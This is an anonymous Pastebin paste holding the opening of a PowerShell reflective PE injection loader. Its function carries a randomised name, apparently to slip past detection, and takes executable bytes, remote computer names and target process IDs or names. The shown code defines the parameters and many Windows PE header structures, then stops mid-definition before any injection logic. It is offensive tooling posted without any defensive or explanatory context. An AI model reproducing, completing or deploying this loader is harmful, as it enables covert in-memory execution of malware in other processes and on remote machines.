SHARE
TWEET

Untitled

a guest Aug 20th, 2019 91 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function Invoke-HWZIPAFMKYZLZZP
  3. {
  4.  
  5. [CmdletBinding()]
  6. Param(
  7.     [Parameter(Position = 0, Mandatory = $true)]
  8.     [ValidateNotNullOrEmpty()]
  9.     [Byte[]]
  10.     $PEBytes,
  11.  
  12.     [Parameter(Position = 1)]
  13.     [String[]]
  14.     $ComputerName,
  15.  
  16.     [Parameter(Position = 2)]
  17.     [ValidateSet( 'WString', 'String', 'Void' )]
  18.     [String]
  19.     $FuncReturnType = 'Void',
  20.  
  21.     [Parameter(Position = 3)]
  22.     [String]
  23.     $ExeArgs,
  24.  
  25.     [Parameter(Position = 4)]
  26.     [Int32]
  27.     $ProcId,
  28.  
  29.     [Parameter(Position = 5)]
  30.     [String]
  31.     $ProcName,
  32.  
  33.     [Switch]
  34.     $ForceASLR,
  35.  
  36.     [Switch]
  37.     $DoNotZeroMZ
  38. )
  39.  
  40. Set-StrictMode -Version 2
  41.  
  42.  
  43. $RemoteScriptBlock = {
  44.     [CmdletBinding()]
  45.     Param(
  46.         [Parameter(Position = 0, Mandatory = $true)]
  47.         [Byte[]]
  48.         $PEBytes,
  49.  
  50.         [Parameter(Position = 1, Mandatory = $true)]
  51.         [String]
  52.         $FuncReturnType,
  53.  
  54.         [Parameter(Position = 2, Mandatory = $true)]
  55.         [Int32]
  56.         $ProcId,
  57.  
  58.         [Parameter(Position = 3, Mandatory = $true)]
  59.         [String]
  60.         $ProcName,
  61.  
  62.         [Parameter(Position = 4, Mandatory = $true)]
  63.         [Bool]
  64.         $ForceASLR
  65.     )
  66.  
  67.     Function Get-Win32Types
  68.     {
  69.         $Win32Types = New-Object System.Object
  70.  
  71.         $Domain = [AppDomain]::CurrentDomain
  72.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  73.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  74.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  75.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  76.  
  77.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  78.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  79.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  80.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  81.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  82.         $MachineType = $TypeBuilder.CreateType()
  83.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  84.  
  85.  
  86.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  87.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  88.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  89.         $MagicType = $TypeBuilder.CreateType()
  90.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  91.  
  92.  
  93.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  94.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  95.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  96.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  97.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  98.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  99.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  100.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  104.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  105.         $SubSystemType = $TypeBuilder.CreateType()
  106.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  107.  
  108.  
  109.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  110.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  111.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  112.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  113.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  114.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  115.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  116.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  117.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  118.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  119.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  120.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  121.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  122.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  123.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  124.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  125.  
  126.  
  127.  
  128.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  129.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  130.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  131.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  132.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  133.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  134.  
  135.  
  136.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  137.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  138.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  139.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  140.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  141.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  142.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  143.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  144.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  145.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  146.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  147.  
  148.  
  149.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  150.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  151.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  152.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  153.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  154.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  155.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  156.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  157.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  158.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  159.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  160.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  161.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  162.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  163.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  164.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  165.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  166.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  167.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  168.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  169.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  170.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  171.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  172.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  173.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  174.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  175.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  177.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  178.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  179.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  180.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  181.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  182.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  183.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  184.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  185.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  186.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  187.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  188.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  189.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  190.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  191.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  192.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  193.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  194.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  195.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  196.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  197.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  198.  
  199.  
  200.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  201.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  202.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  203.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  204.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  205.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  206.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  207.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  208.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  209.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  210.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  211.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  212.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  213.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  214.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  215.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  216.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  217.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  218.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  219.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  220.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  221.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  222.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  223.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  224.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  225.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  226.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  227.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  229.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  230.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  231.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  232.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  233.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  234.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  235.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  236.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  237.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  238.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  239.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  240.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  241.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  242.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  243.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  244.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  245.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  246.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  247.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  248.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  249.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  250.  
  251.  
  252.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  253.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  254.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  255.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  256.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  257.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  258.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  259.  
  260.  
  261.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  262.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  263.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  264.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  265.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  266.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  267.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  268.  
  269.  
  270.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  271.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  272.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  273.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  274.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  275.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  276.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  277.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  278.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  279.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  285.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  286.  
  287.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  288.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  289.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  290.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  291.         $e_resField.SetCustomAttribute($AttribBuilder)
  292.  
  293.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  294.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  295.  
  296.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  297.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  298.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  299.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  300.  
  301.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  302.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  303.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  304.  
  305.  
  306.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  307.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  308.  
  309.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  310.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  311.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  312.         $nameField.SetCustomAttribute($AttribBuilder)
  313.  
  314.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  315.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  316.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  317.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  318.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  319.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  320.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  321.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  322.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  323.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  324.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  325.  
  326.  
  327.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  328.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  329.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  330.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  331.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  332.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  333.  
  334.  
  335.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  336.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  337.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  338.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  339.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  340.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  341.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  342.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  343.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  344.  
  345.  
  346.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  347.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  348.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  349.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  350.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  351.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  352.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  353.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  354.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  355.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  358.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  359.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  360.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  361.  
  362.  
  363.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  364.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
  365.         $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
  366.         $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
